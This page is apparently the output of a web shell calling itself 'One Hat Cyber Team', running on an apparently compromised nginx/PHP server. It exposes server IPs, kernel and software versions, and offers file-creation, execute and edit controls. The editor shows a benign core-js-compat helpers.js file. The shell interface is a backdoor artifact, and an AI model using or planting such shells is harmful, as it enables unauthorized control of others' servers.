⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
core-js-compat
/
Edit File: helpers.js
'use strict'; // eslint-disable-next-line es/no-object-hasown -- safe const has = Object.hasOwn || Function.call.bind({}.hasOwnProperty); function semver(input) { if (input instanceof semver) return input; // eslint-disable-next-line new-cap -- ok if (!(this instanceof semver)) return new semver(input); const match = /(\d+)(?:\.(\d+))?(?:\.(\d+))?/.exec(input); if (!match) throw TypeError(`Invalid version: ${ input }`); const [, $major, $minor, $patch] = match; this.major = +$major; this.minor = $minor ? +$minor : 0; this.patch = $patch ? +$patch : 0; } semver.prototype.toString = function () { return `${ this.major }.${ this.minor }.${ this.patch }`; }; function compare($a, operator, $b) { const a = semver($a); const b = semver($b); for (const component of ['major', 'minor', 'patch']) { if (a[component] < b[component]) return operator === '<' || operator === '<=' || operator === '!='; if (a[component] > b[component]) return operator === '>' || operator === '>=' || operator === '!='; } return operator === '==' || operator === '<=' || operator === '>='; } function filterOutStabilizedProposals(modules) { const modulesSet = new Set(modules); for (const $module of modulesSet) { if ($module.startsWith('esnext.') && modulesSet.has($module.replace(/^esnext\./, 'es.'))) { modulesSet.delete($module); } } return [...modulesSet]; } function intersection(list, order) { const set = list instanceof Set ? list : new Set(list); return order.filter(name => set.has(name)); } function sortObjectByKey(object, fn) { return Object.keys(object).sort(fn).reduce((memo, key) => { memo[key] = object[key]; return memo; }, {}); } module.exports = { compare, filterOutStabilizedProposals, has, intersection, semver, sortObjectByKey, };
Simpan